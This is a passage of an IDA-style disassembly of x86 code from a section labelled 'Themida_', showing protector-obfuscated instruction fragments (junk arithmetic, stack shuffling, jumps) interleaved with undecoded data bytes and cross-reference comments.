; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 4EC8358h, 89243C89h,	4C781E7h, 0E9000000h, 0FFFF8185h
		dd 15AD729h, 0FC42E9D7h, 0AF05FFFEh, 5231E80Ah,	3C77E955h
		dd 0E929FFFFh, 0E9E9015Dh, 2835h
; ---------------------------------------------------------------------------


loc_5624CC:				; CODE XREF: Themida_:00553550j
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ecx
		push	4A2Ah
		mov	[esp], edx
		push	1BE038E2h
		pop	edx
		dec	edx
		inc	edx
		add	edx, 0E41FC722h
		mov	ecx, edx
		mov	edx, [esp]
		jmp	loc_5569E3
; ---------------------------------------------------------------------------
		dw 0E589h
		dd 4C581h, 0C5830000h, 7220E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562506:				; CODE XREF: Themida_:00555A4Fj
		neg	esi
		jmp	loc_553428
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 79F2BA52h, 0EAC12270h, 0EBE28104h, 83017A7Fh, 1E9FFC2h
		dd 2DFFFFD3h, 6B7FB08h,	31AEEE81h, 89E96A32h, 89FFFEDCh
		dd 4AE9241Ch, 5FFFFF09h, 0FF37FDE9h, 241429FFh,	0FF4950E9h
		dd 242C8BFFh, 2904C483h, 16EB81F3h, 5E2EFF6Ah, 0B4E9008Fh
		dd 5FFFED9h, 878845FAh,	3DE9C629h, 83FFFFC6h, 348704C6h
		dd 0FF525C24h, 5A042474h, 8B24048Fh, 34FF2424h,	2434FF24h
		dd 0B08E9h
		db 0
; ---------------------------------------------------------------------------


loc_56258D:				; CODE XREF: Themida_:00554FC7j
		sub	ch, 1
		sub	ch, 39h
		xor	ch, dl
		pop	edx
		sub	bl, ch
		pop	ecx
		sub	bl, 0C2h
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		dw 0E961h
		dd 0FFFF76EDh
; ---------------------------------------------------------------------------


loc_5625A8:				; CODE XREF: Themida_:00563CBEj
		add	esp, 4
		push	ebx
		jmp	loc_5602F0
; ---------------------------------------------------------------------------
		align 2
		dw 59EAh
		dd 148BD000h, 4C48324h,	5153525Bh, 8852E4B5h, 5AD388EAh
		dd 3AE95159h
		db 1Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5625CF:				; CODE XREF: Themida_:0055504Ej
		sub	ebx, 0FFFFFFFFh
		push	ebp
		mov	ebp, 2DA01E98h
		xor	ebx, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		mov	eax, ebx
		mov	ebx, [esp]
		push	edx
		push	22A4h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		jmp	loc_55053B
; ---------------------------------------------------------------------------
		db 0BEh, 0A7h, 0
		dd 0F2297DA3h, 8B2434FFh, 0C4812434h, 4, 81E28952h, 4C2h
		dd 4BE5600h, 81000000h,	0B40547C2h, 390E934h, 1489FFFFh
		dd 4BA24h, 0D1010000h, 240C875Ah, 0E924248Bh, 0FFFEE128h
		dd 5F2414F7h, 46D6E781h, 0C7811F7Dh, 57C14C7Eh,	0E907E7C1h
		dd 0FFFFD016h, 0EA81EA29h, 7F5C79FDh, 8BD6015Dh, 0C4812414h
		dd 4, 0FF7C51E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56266D:				; CODE XREF: Themida_:00555FB7j
		sub	ebx, edx
		pop	edx
		add	ebx, eax
		jmp	loc_556942
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 24148900h, 0FF8622E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562685:				; CODE XREF: Themida_:00563696j
		pop	esp
		xchg	eax, edx
		push	59ACh
		mov	[esp], ebp
		push	esi
		push	6473349Bh
		push	dword ptr [esp]
		pop	esi
		jmp	loc_56157A
; ---------------------------------------------------------------------------
		dw 0EE01h
		dd 1490E9h
		db 0
byte_5626A5	db 81h,	0ECh, 4		; DATA XREF: Themida_:0054FEA4o
		dd 89000000h, 0A968242Ch, 89000013h, 70E9243Ch,	0C1000020h
		dd 0E95703E8h, 0FFFF35D4h
dword_5626C4	dd 5624048Bh, 0E904EC83h, 0FFFF6637h, 4240481h,	59000000h
					; DATA XREF: Themida_:0054FD9Co
		dd 0FF42BDE9h, 49E94DFFh
		db 73h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5626E3:				; CODE XREF: Themida_:005604DDj
		pop	edx
		jmp	loc_556C5A
; ---------------------------------------------------------------------------
		db 5Fh,	81h, 0E3h
		dd 2F4C2CD9h, 0FFF38EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5626F5:				; CODE XREF: Themida_:00556225j
		mov	ebp, 4
		add	edi, ebp
		pop	ebp
		xchg	edi, [esp]
		jmp	loc_557586
; ---------------------------------------------------------------------------
		db 5Eh,	0F7h, 0D3h
		dd 0EF1EB81h, 0EB8111DDh, 7F55C87Dh, 0FFC4DEE9h, 4C181FFh
		dd 0E9000000h, 0FFFF8DE3h, 164068h, 24048900h, 0ABE9E089h
		dd 0C1FFFFEEh, 0EF8102E7h, 4F953FDFh, 0FF77BAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562741:				; CODE XREF: Themida_:0055C3A6j
		pop	eax
		jmp	loc_553D01
; ---------------------------------------------------------------------------


loc_562747:				; CODE XREF: Themida_:00556C70j
		pop	ebx
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	1262h
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 31945F2Fh
		inc	ecx
		or	ecx, 0B556B59h
		inc	ecx
		push	ebx
		mov	ebx, 5D3F35CDh
		or	ecx, ebx
		pop	ebx
		inc	ecx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 0DD00D58h
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 3D6E180Eh
		sub	ebx, 22EC24D8h
		xor	ebx, 351C06F4h
		inc	ebx
		inc	ebx
		xor	ebx, 717A3997h
		add	ebx, 0F01A7C61h
		or	ebp, ebx
		mov	ebx, [esp]
		jmp	loc_55502F
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 0E789243Ch, 609B68h, 241C8900h, 0FEDD53E9h
		dd 73EE81FFh, 119860Fh,	0EC8152EEh, 4, 0E9242C89h, 0FFFF4F81h
dword_5627E4	dd 240C8B66h, 0FFA794E9h ; DATA	XREF: Themida_:0054FDD8o
		db 0FFh
; ---------------------------------------------------------------------------


loc_5627ED:				; CODE XREF: Themida_:0055C82Fj
		push	edi
		mov	edi, 53A172F5h
		or	edi, 61DC5DCCh
		or	edi, 1F75764Ah
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_5621E0
; ---------------------------------------------------------------------------


loc_56280D:				; CODE XREF: Themida_:00563644j
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_55DA64
; ---------------------------------------------------------------------------


loc_562824:				; CODE XREF: Themida_:0055B287j
		shl	esi, 4
		neg	esi
		push	edx
		mov	edx, 472D26DDh
		add	edx, 24565106h
		or	edx, 6A150D51h
		xor	edx, 65AD08AAh
		xor	esi, edx
		pop	edx
		xor	ebx, esi
		pop	esi
		add	ebx, 8EB68DF9h
		add	edi, ebx
		pop	ebx
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		push	ecx
		sub	esp, 4
		mov	[esp], esi
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_55B7CB
; ---------------------------------------------------------------------------


loc_562878:				; CODE XREF: Themida_:00560556j
		push	ebp
		mov	ebp, 4
		add	edi, 502B4452h
		push	esi
		mov	esi, 33C244A9h
		push	eax
		mov	eax, esp
		jmp	loc_557AEC
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 24048324h, 24148B04h, 1A8E957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5628A2:				; CODE XREF: Themida_:00554D0Aj
		mov	esi, esp
		jmp	loc_55C679
; ---------------------------------------------------------------------------
		db 80h,	0CCh, 89h
		dd 889AC480h, 0F68058E6h, 28E62CF1h, 5AE604F0h,	8083E980h
		dd 0C12816E9h, 8016C180h, 48B83C1h, 4C48124h, 66000000h
		dd 0CBB15150h, 0B5E9C888h, 5CFFFF2Bh, 9C2404D3h, 0FF1ED2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5628E9:				; CODE XREF: Themida_:0056451Fj
		pop	edi
		jmp	loc_5642A5
; ---------------------------------------------------------------------------
		db 56h
		dd 0FED9A7E9h, 0CA315EFFh, 4EC8359h, 8B241489h,	0C4812434h
		dd 4, 0FFF2895Ah, 565E2434h, 0C681E689h, 4, 4C681h, 34870000h
		dd 69E95C24h
		db 0E4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562927:				; CODE XREF: Themida_:005527D8j
		sub	esp, 4
		mov	[esp], ecx
		push	56DE00C1h
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_564E68
; ---------------------------------------------------------------------------
		dw 1433h
		dd 24248B24h, 8098B252h, 92E9CDC3h, 29FFFF62h, 12C0E9EAh
		dd 0DD88FFFFh, 53241C8Bh, 8168E389h, 89000038h,	18BF243Ch
		dd 5548A216h, 0FFB1B8E9h, 4EC81FFh, 0E9000000h,	0FFFF906Eh
		dd 8BB95152h, 0BA14317Fh, 6E7C9A2Ch, 2959CA29h,	0C3815AD3h
		dd 7EC4532h, 6039C381h,	0A6686D3Eh, 89000003h, 0E9E92414h
		dd 68FFFFF7h, 4B68h, 0FFD0C0E9h, 188805FFh, 0E8E94B94h
		dd 89FFFF63h, 0E789243Ch, 4C781h, 0C7830000h, 243C8704h
		dd 0C068575Ch, 5F23CD56h, 8B5BB53h, 0C3812D6Eh,	7F6E2CA7h
		dd 0FFE5F8E9h, 4AEF81FFh, 81103015h, 0BA107FC7h, 81D7016Ch
		dd 0BA107FEFh, 4AC7816Ch, 0FF103015h, 565A2434h, 0C681E689h
		dd 4, 0E904C683h, 0FFFFB203h, 0F75DE889h, 7E8C1D0h, 40C2BB53h
		dd 0C5E97047h
		db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562A27:				; CODE XREF: Themida_:0055B308j
		or	ebp, 13BA694Eh
		neg	ebp
		inc	ebp
		jmp	loc_5521A4
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 0FBh
		dd 2931A26Ah, 0FBE981C1h, 5831A26Ah, 7644E949h,	0E789FFFFh
		dd 2121BA52h, 0EAC17ECBh, 3EAC107h, 78B0BE56h, 18E94530h
		dd 81FFFF00h, 4C2h, 68E95100h, 29FFFF56h, 247DE9D5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562A76:				; CODE XREF: Themida_:00552995j
		pop	ebx
		push	edx
		mov	edx, 4
		add	ecx, 7AF64467h
		jmp	loc_564F00
; ---------------------------------------------------------------------------
		dd 0FFFFBD55h, 0E829FFFFh, 83242C8Bh, 0B95104C4h, 22B8B367h
		dd 5759C831h, 0DB2F46BFh, 0D8FE91Dh, 0C0050000h, 2D0EF26Fh
		dd 2946565Fh, 5F05D801h, 2D294656h, 0EF26FC0h, 1C70EF05h
		dd 4A48E908h, 2268FFFFh, 89000014h, 0DC882404h,	48BE588h
		dd 0E7895724h, 0FFAC6EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562AE1:				; CODE XREF: Themida_:005622B6j
		xor	eax, 0D8E95ABh
		add	esi, eax
		pop	eax
		jmp	loc_55E051
; ---------------------------------------------------------------------------


loc_562AEE:				; CODE XREF: Themida_:0055C03Bj
		mov	esp, [esp]
		pop	edx
		and	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_553C97
; ---------------------------------------------------------------------------
		dw 0DEF7h
		dd 0DDF6814Eh, 81338F6Eh, 0D6D0E1C6h, 5EF53136h, 0DB3CE955h
		dd 8B54FFFFh, 0C483243Ch, 0E9575004h, 0FFFF47FBh
; ---------------------------------------------------------------------------


loc_562B28:				; CODE XREF: Themida_:005556D2j
		add	ecx, edi
		push	dword ptr [ecx]
		pop	eax
		jmp	loc_561E66
; ---------------------------------------------------------------------------


loc_562B32:				; CODE XREF: Themida_:0056172Bj
		mov	esi, esp
		add	esi, 4
		push	edx
		mov	edx, 38A62486h
		jmp	loc_5569D8
; ---------------------------------------------------------------------------


loc_562B45:				; CODE XREF: Themida_:0055F71Fj
		sub	bl, ch
		add	bl, 0E9h
		mov	cx, [esp]
		add	esp, 2
		jmp	loc_552004
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 0B4E6E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562B5E:				; CODE XREF: Themida_:0055458Ej
		sub	edx, 27A326EDh
		push	esi
		jmp	loc_56138C
; ---------------------------------------------------------------------------
		dw 5E5Eh
		dd 4C681h, 50570000h, 0D22F668h, 25C9E962h, 48BFFFFh, 4C48324h
		dd 1931E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_562B8A:				; CODE XREF: Themida_:00557711j
		pop	dword ptr [esp]
		jmp	loc_5642D8
; ---------------------------------------------------------------------------
		dw 0D7F6h
		dd 0C780CFFEh, 5BFA303Eh, 0FF857FE9h, 81D929FFh, 1D1F55E9h
		dd 0C335B0Bh, 844DE924h, 1A68FFFFh, 0E9000078h,	0FFFF4D5Dh
		dd 0A3DC781h, 0CF0123D1h, 3EFE9h, 0D7F75A00h, 4706EFC1h
		dd 389BC781h, 0CF8119BBh, 20B34426h, 54AFC781h,	0E9812FBAh
		dd 7E9931E1h, 0C181F901h, 7E9931E1h, 2434FF5Fh,	0E9242C8Bh
		dd 0FFFF7B9Dh, 60BF575Ah, 8103C96Ch, 22A00F7h, 53E7D164h
		dd 0D1214DBBh, 0D1434B26h, 3EBC1E3h, 62FACB81h,	0F3813BEEh
		dd 2BB10859h, 0C15BDF31h, 0C78107E7h, 543A4067h, 4F3DE952h
		dd 0C581FFFFh, 41E05D76h, 61D4F581h, 0EF896867h, 0C7814F5Dh
		dd 40C50D68h, 542CC281h, 0EA816A5Fh, 0E0365F3h,	0C281FA29h
		dd 0E0365F3h, 0FF7E47E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562C65:				; CODE XREF: Themida_:00563E09j
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		push	ecx
		mov	ecx, 4
		add	[esp+4], ecx
		jmp	loc_55AF8A
; ---------------------------------------------------------------------------
		dw 8C05h
		dd 2D5A896Ch, 1, 51ECBE56h, 27E9661Ah, 58FFFFADh, 5BD88859h
		dd 0A1E9535Ah, 89FFFF50h, 0CA815BDAh, 5F2645D4h, 4418F281h
		dd 685226C8h, 31F23149h, 0FEE19BE9h, 4E883FFh, 5C240487h
		dd 51241489h, 1331BF68h, 75E95923h, 89FFFF73h, 4C581E5h
		dd 83000000h, 2C8704C5h, 740D5C24h, 0E95F1421h,	0FFFEF6F9h
		dd 423468h, 24148900h, 0EFE9B8B6h, 5FFFFF8Ah, 2260BE56h
		dd 0E6C11EF6h, 0F7DEF704h, 0C7A9E9D6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562D0A:				; CODE XREF: Themida_:00563D4Aj
		pop	edi
		pop	ecx
		dec	ecx
		xor	edi, ecx
		xor	ecx, edi
		xor	edi, ecx
		shl	edi, 3
		jmp	loc_55A803
; ---------------------------------------------------------------------------
		db 8Bh
		dd 8AE9241Ch, 0FFFFFF5Fh, 0A8E92434h, 80FFFF94h, 0C808FEE9h
		dd 80B15159h, 5FE9D9F6h, 68FFFF2Dh, 64A7h, 0FF4C20E9h
		dd 4C483FFh, 3A10C181h,	3C8B2924h, 4C48124h, 89000000h
		dd 348B59C8h, 4C48324h,	0FF8510E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562D65:				; CODE XREF: Themida_:0055B110j
		mov	edx, 697B0E23h
		push	0
		add	dword ptr [esp], 12C11F22h
		sub	[esp], edx
		jmp	loc_56406E
; ---------------------------------------------------------------------------
		dw 815Bh
		dd 4C4h, 676FE900h, 1C8BFFFFh, 86685124h, 89000064h, 0BD552424h
		dd 4, 4246C81h,	726E1CDFh, 4246C01h, 0FF2634E9h, 7E9EBFFFh
		dd 0F78155AAh, 7B4A0395h, 15FFD01h, 2558E9E8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_562DC2:				; CODE XREF: Themida_:0055E259j
		not	esi
		add	esi, 286B23F8h
		mov	eax, esi
		pop	esi
		add	ebp, 60737CC4h
		jmp	loc_56215A
; ---------------------------------------------------------------------------
		dd 8451E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562DDE:				; CODE XREF: Themida_:00558CCFj
		push	dword ptr [esp]
		pop	eax
		push	ebx
		jmp	loc_55EF63
; ---------------------------------------------------------------------------


loc_562DE8:				; CODE XREF: Themida_:00563924j
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	1B52h
		mov	[esp], edi
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_561778
; ---------------------------------------------------------------------------
		dw 0D131h
		dd 0E981415Ah, 386B964Ah, 1AA7ED81h, 0CD017C8Fh, 0FFCCA1E9h
		dd 10AB68FFh, 1C890000h, 0E939B724h, 0FFFF8FBDh
; ---------------------------------------------------------------------------


loc_562E34:				; CODE XREF: Themida_:00563C2Dj
		push	46A0h
		mov	[esp], esi
		push	edx
		mov	edx, 27871748h
		inc	edx
		inc	edx
		shl	edx, 5
		shl	edx, 2
		sub	edx, 8BCE370Ah
		jmp	loc_5587B5
; ---------------------------------------------------------------------------


loc_562E55:				; CODE XREF: Themida_:00559980j
		pop	esp
		mov	[esp], edx
		mov	edx, 4AED678Ch
		push	ecx
		mov	ecx, 3A9D2B0Dh
		shr	ecx, 1
		shr	ecx, 3
		xor	ecx, 3A9D2B0h
		add	ecx, 0E6E137Bh
		sub	ecx, edx
		jmp	loc_552103
; ---------------------------------------------------------------------------


loc_562E7C:				; CODE XREF: Themida_:005529F6j
		add	edi, esi
		add	edi, 3BE528C6h
		jmp	loc_552E90
; ---------------------------------------------------------------------------


loc_562E89:				; CODE XREF: Themida_:005563CCj
		pop	esi
		push	eax
		jmp	loc_55B837
; ---------------------------------------------------------------------------
		dd 81240C8Bh, 4C4h, 241C8B00h, 4C481h, 0BD550000h, 4, 2C8BEB01h
		dd 4C48324h, 8104C383h,	4ECh, 241C8900h, 42474FFh, 24048F5Bh
		dd 0E924248Bh, 0FFFF7FEAh
; ---------------------------------------------------------------------------


loc_562ECC:				; CODE XREF: Themida_:005634B8j
		sub	ebx, 495C0441h
		jmp	loc_55BC0B
; ---------------------------------------------------------------------------


loc_562ED7:				; CODE XREF: Themida_:00554DA4j
		push	esp
		pop	edi
		jmp	loc_55A9D4
; ---------------------------------------------------------------------------
		dw 0FCB9h
		dd 0F7596416h, 3E1C1D9h, 0FF56D4E9h
		db 0FFh
byte_562EED	db 66h,	0Fh, 0B6h	; DATA XREF: Themida_:0054FC5Co
		dd 0C214E902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562EF6:				; CODE XREF: Themida_:0055502Aj
		xchg	edi, [esp]
		pop	esp
		push	3588h
		jmp	loc_5548F7
; ---------------------------------------------------------------------------
		dd 4A50C681h, 0FE01071Bh, 4A50EE81h, 5BE9071Bh,	5200000Fh
		dd 8152C289h, 5B702404h, 0E9591818h, 0FFFFBB71h
; ---------------------------------------------------------------------------


loc_562F28:				; CODE XREF: Themida_:0055D0E2j
		push	ebx
		jmp	loc_5500AD
; ---------------------------------------------------------------------------
		dw 0E95Ch
		dd 0FFFF3057h, 0AD1E19BDh, 8BD53178h, 89522414h, 4EC83E2h
		dd 0E9243C89h, 805h
; ---------------------------------------------------------------------------


loc_562F4C:				; CODE XREF: Themida_:00556DF4j
		add	ebp, 4
		jmp	loc_55F0DC
; ---------------------------------------------------------------------------


loc_562F57:				; CODE XREF: Themida_:00554996j
		pop	ecx
		add	ecx, ebp
		pop	ebp
		sub	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_55D330
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 6E716855h, 2C8B1C6Ch, 9A54E924h, 0C968FFFFh,	89000078h
		dd 77BA2414h, 42724519h, 729ECA81h, 0C28102BEh,	3A412145h
		dd 3760EA81h, 0D3294EBBh, 0FFC1BBE9h, 68FFh, 9AE90000h
		dd 68FFFFF5h, 3958h, 0E9241C89h, 0FFFF73FEh, 0A3DEF81h
		dd 685323D1h, 4F31h, 55241489h,	0E36A6ABDh, 5DEA8970h
		dd 78926851h, 0C8B37A4h, 4C48124h, 81000000h, 935DCAF1h
		dd 6AF1815Ah, 89CF2A84h, 0D32959CBh, 0C1DBF75Ah, 39E907EBh
		db 0D1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562FFB:				; CODE XREF: Themida_:0055BB44j
		push	esp
		pop	ebx
		push	eax
		push	ebx
		push	73A74145h
		jmp	loc_554C09
; ---------------------------------------------------------------------------
		db 57h,	68h, 4Fh
		dd 0E96FC76Dh, 1EFDh, 0C8285866h, 0CFD1E959h, 0C681FFFFh
		dd 0FAEBD737h, 505EF089h, 0D40DF6B8h, 6449050Ah, 0E0C13D08h
		dd 0B52D08h, 0A60D503Eh, 542EA6Bh, 6FD63563h, 6ADECF35h
		dd 58C6010Eh, 0FF28E5E9h, 3BE954FFh
		db 0F8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563057:				; CODE XREF: Themida_:00557DCAj
		and	edx, 1EC94601h
		and	edx, 507212A6h
		sub	edx, 66D66D6Bh
		jmp	loc_5609F8
; ---------------------------------------------------------------------------


loc_56306E:				; CODE XREF: Themida_:005576AFj
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		add	esi, 6CF122C7h
		sub	esi, edx
		jmp	loc_551E9F
; ---------------------------------------------------------------------------
		dw 0E953h
		dd 0FFFF573Eh, 685DEB01h, 2FF0h, 0FFCB78E9h, 2434FFFFh
		dd 5A2434FFh, 0E904EC83h, 976h,	0BD262CBFh, 794DE93Eh
		dd 0B850FFFFh, 1870CD85h, 0FF621FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5630B9:				; CODE XREF: Themida_:005597ECj
		push	eax
		mov	eax, esp
		push	ecx
		mov	ecx, 4
		jmp	loc_557D89
; ---------------------------------------------------------------------------


loc_5630C7:				; CODE XREF: Themida_:00559C34j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_555608
; ---------------------------------------------------------------------------


loc_5630DE:				; CODE XREF: Themida_:005610B6j
		pop	ebx
		sub	esp, 4
		mov	[esp], edi
		pop	edx
		jmp	loc_563828
; ---------------------------------------------------------------------------
		dw 8858h
		dd 89E95BF8h, 0BEFFFF6Bh, 238D775Bh, 15EF201h, 9F685AD0h
		dd 8900001Ch, 2BB241Ch,	5000000h, 30F61312h, 122DD829h
		dd 5B30F613h, 5C240487h, 0FFDEF7E9h, 0ABEB81FFh, 0E931361Fh
		dd 0FFFED264h
; ---------------------------------------------------------------------------


loc_563130:				; CODE XREF: Themida_:0055759Dj
		pop	eax
		jmp	loc_557F9D
; ---------------------------------------------------------------------------
		dw 5650h
		dd 0D27D4EBEh, 891EB843h, 9DE9A467h
		db 0ACh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563147:				; CODE XREF: Themida_:00555818j
		add	ebp, 4
		push	eax
		mov	eax, 4
		add	ebp, eax
		jmp	loc_55C143
; ---------------------------------------------------------------------------
		dw 405h
		dd 55000000h, 4BDh, 0D8F6E900h,	0F289FFFEh, 0EAC1425Eh
		dd 0C6F28106h, 8934B015h, 0E0C15AD0h, 4EC8304h,	0BA241489h
		dd 4590116Ch, 0D213205h, 2DD0291Fh, 1F0D2132h, 6824148Bh
		dd 5DB5h, 89240C89h, 8B8AE9E1h,	0B652FFFFh, 66C6FE19h
		dd 1B551h, 805966EEh, 0F5209FEEh, 0F6C5865Ah, 30C530D0h
		dd 68C530E8h, 129Fh, 52241C89h,	80E9CEB6h, 81FFFFEDh, 2F5E42E2h
		dd 6DF2811Fh, 812BCF5Bh, 4A1E97E2h, 0E1F2816Fh,	8125783Ch
		dd 933647C2h, 0F6F9E952h, 0CA81FFFFh, 56EF1559h, 8106EAC1h
		dd 0EA7AB4C2h, 3AEA8118h, 31FC8D58h, 0FD685AD1h, 89000032h
		dd 0FBE9240Ch, 8100001Eh, 6CBAB0F5h, 0A7C68109h, 117D475h
		dd 0A7EE81EEh, 5D17D475h, 815EF129h, 6E5913F1h,	4E6368E9h
		dd 14890000h, 58506824h, 0E95A4D04h, 0FFFF109Dh
; ---------------------------------------------------------------------------


loc_56324C:				; CODE XREF: Themida_:0056454Cj
		pop	edi
		jmp	loc_55ACEA
; ---------------------------------------------------------------------------
		dw 0E95Ah
		dd 0FFFF2A0Fh
; ---------------------------------------------------------------------------


loc_563258:				; CODE XREF: Themida_:00561A68j
		xchg	esi, ecx
		not	esi
		xchg	esi, ecx
		jmp	loc_55D9CB
; ---------------------------------------------------------------------------


loc_563263:				; CODE XREF: Themida_:0055F83Dj
		xor	edi, 6CB05692h
		push	ebx
		push	edx
		push	4AFF3E0Dh
		pop	edx
		jmp	loc_55330D
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 8F5E0424h, 895C2404h, 5954240Ch, 4C181h, 0E9810000h
		dd 4, 0FF0816E9h, 4C381FFh, 81000000h, 4C3h, 241C8700h
		dd 0E924248Bh, 0FFFF01F7h
; ---------------------------------------------------------------------------


loc_5632AC:				; CODE XREF: Themida_:005543A1j
		pop	eax
		and	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		shr	eax, 0Bh
		xor	ecx, eax
		push	2274h
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	4B16h
		mov	[esp], edi
		push	esp
		mov	edi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		push	ecx
		jmp	loc_556484
; ---------------------------------------------------------------------------


loc_5632EF:				; CODE XREF: Themida_:0055D81Aj
		mov	[esp], edx
		push	ebx
		push	222C35FDh
		jmp	loc_55299A
; ---------------------------------------------------------------------------


loc_5632FD:				; CODE XREF: Themida_:00555742j
		pop	ecx
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_55B03F
; ---------------------------------------------------------------------------


loc_56330A:				; CODE XREF: Themida_:0055BFC5j
		sub	edx, 20C240B6h
		jmp	loc_5519A4
; ---------------------------------------------------------------------------
		db 0B7h, 0D0h, 0E9h
		dd 0FFFFCD2Ch, 769FE95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563322:				; CODE XREF: Themida_:0055E249j
		add	esi, 4
		jmp	loc_5562A2
; ---------------------------------------------------------------------------
		dw 348Bh
		dd 4C48324h, 8B24048Fh,	4012424h, 0D8E99C24h, 81FFFECBh
		dd 326494C3h, 0D3E3813Fh, 0E9289C35h, 0FFFF4B55h, 276568h
		dd 243C8900h, 0C7815F54h, 4, 0E904C783h, 21BFh,	15BD829h
		dd 9DB8E9D8h, 0E789FFFFh, 0FECEB2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563379:				; CODE XREF: Themida_:00557AC5j
		add	esp, 4
		jmp	loc_559756
; ---------------------------------------------------------------------------
		dd 7AA068h, 242C8900h, 7A5C68h,	0CEC0E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563396:				; CODE XREF: Themida_:0056516Aj
		pop	dword ptr [esp]
		jmp	loc_558875
; ---------------------------------------------------------------------------
		dw 805Bh
		dd 79E9BAF6h, 5E000017h, 295DE829h, 24048BC7h, 0E904C483h
		dd 0FFFFD4F1h, 22E9D428h, 89FFFF1Ch, 6AE9242Ch
		db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5633C7:				; CODE XREF: Themida_:005521BBj
		push	ebx
		push	0
		pop	ebx
		add	ebx, ecx
		add	[ebx], esi
		pop	ebx
		pop	ecx
		mov	edx, [esp]
		add	esp, 4
		pop	esi


loc_5633DB:				; CODE XREF: Themida_:005519B0j
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		push	0D35h
		jmp	loc_553545
; ---------------------------------------------------------------------------


loc_5633EE:				; CODE XREF: Themida_:00550E8Cj
		pop	eax
		jmp	loc_557104
; ---------------------------------------------------------------------------


loc_5633F4:				; CODE XREF: Themida_:0055256Aj
		add	ecx, 4
		jmp	loc_551414
; ---------------------------------------------------------------------------
		dd 0E95AD601h, 0FFFFA397h, 0D531D2F7h, 5B8E9h, 53D42800h
		dd 0EB801DB3h, 0D3B050EFh, 56E9AD34h, 8B000004h, 0C3302424h
		dd 66C0B60Fh, 6824148Bh, 70BBh,	83241489h, 0EC8304ECh
		dd 24248904h, 4240483h,	5324048Fh, 4BBh, 24448100h, 5B2D6B04h
		dd 246C8167h, 82516604h, 246C8158h, 3A500E04h, 245C0125h
		dd 24448104h, 3A500E04h, 24448125h, 82516604h, 246C8158h
		dd 5B2D6B04h, 148B5B67h, 0CC4DE924h
		db 0FEh, 0FFh
word_563486	dw 0A868h		; DATA XREF: Themida_:0054FE98o
		dd 0E9000009h, 0FFFED8F9h, 0BBh, 0E9CB0100h, 0FFFF700Fh
; ---------------------------------------------------------------------------


loc_56349C:				; CODE XREF: Themida_:00561E94j
		mov	edi, 42EA6763h
		and	edi, 3F8C70FBh
		add	edi, 66C0867h
		sub	ebp, edi
		pop	edi
